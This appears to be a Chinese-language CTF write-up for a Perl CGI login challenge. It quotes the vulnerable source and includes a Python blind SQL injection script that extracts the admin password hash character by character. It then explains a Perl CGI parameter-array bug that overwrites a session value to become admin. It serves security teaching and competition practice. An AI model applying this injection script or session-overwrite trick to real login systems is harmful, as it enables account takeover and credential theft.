进入题目下载index.cgi.bak
得到源码
#!/usr/bin/perl
use CGI;
my $q = new CGI;
use CGI::Session;
use Digest::MD5;
my $md5 = Digest::MD5->new;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M');
my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
[
$q->cookie(-name=>'CGISESSID', -value=>$s->id)
]),
$q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017 the real SqlRF', -bgcolor=>'black');
my $errmsg = '';
if($q->param('login') ne '') {
use DBI;
my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
$errmsg = '<h2 style="color:red">Login Error!</h2>';
eval {
$sth->execute();
if(my @row = $sth->fetchrow_array) {
$md5->add($q->param('pass'));
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq $md5->clone->hexdigest) {
$s->param('autheduser', $q->param('user'));
print "<p style='color: #FFF'>YOU ARE " . $s->param('autheduser') . "<br>";
if ($s->param('autheduser') eq 'admin') {
print "FLAG</p>";
} else {
print "Only admin can get the flag!</p>";
}
$errmsg = '';
}
}
};
if($@) {
$errmsg = '<h2 style="color:red">Database Error!</h2>';
}
$dbh->disconnect();
}
$user = $q->escapeHTML($user);
print <<"EOM";
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM
1;
$sth
处显然存在SQL注入,和SECCON上的SqlSRF一样
my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
于是这里借用Melody师傅的脚本
from requests import post
url = "http://54.222.248.100/cgi-bin/"
dic = "abcdef0123456789"
password = ""
for i in range(0, 32):
for j in dic:
payload = "' or password like '{}%' union select '9e3669d19b675bd57058fd4664205d2a"
payload = payload.format(password + j)
data = {
"user": payload,
"pass": "v",
"login": "Login"
}
res = post(url, data = data)
# print data
if 'Error!' in res.content:
password += j
print password
break
于是得到了admin的密码的MD5值。然而事情并没有这么简单,这个MD5放在各大破解网站都跑不出来,所以只能从其他方面下手。
eval {
$sth->execute();
if(my @row = $sth->fetchrow_array) {
$md5->add($q->param('pass'));
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq $md5->clone->hexdigest) {
$s->param('autheduser', $q->param('user'));
print "<p style='color: #FFF'>YOU ARE " . $s->param('autheduser') . "<br>";
if ($s->param('autheduser') eq 'admin') {
print "FLAG</p>";
} else {
print "Only admin can get the flag!</p>";
}
$errmsg = '';
}
}
从这段验证代码可以看出我们需要一方面让SQL查询出来的password等于我们传入的$q->param('pass')
的MD5值,另一方面又需要让$s->param('autheduser')
等于admin,而$s->param('autheduser')
取的是$q->param('user')
的值。
在查找各种资料后查到了一篇发表于2014年的文章,文章里提到perl的一个漏洞
这个漏洞就是如果在perl里的hash(相当于python里的dict)直接调用$cgi->param('key')
,且$cgi->param('key')
传入的是一个数组的话(传入同名参数就会自动构成数组),hash会把数组的第二个值和后续值按顺序添加为键/值,且可以覆盖前面的键,形成一个类似于变量覆盖的漏洞。
而这道题就在session这个hash里调用了$q->param('user')
$s->param('autheduser', $q->param('user'));
所以我们只需要让参数user
传入一个数组,数组的第一个值用于SQL注入,第二第三个值用来覆盖$s->param('autheduser')
,使其等于admin
,如图
Get flag.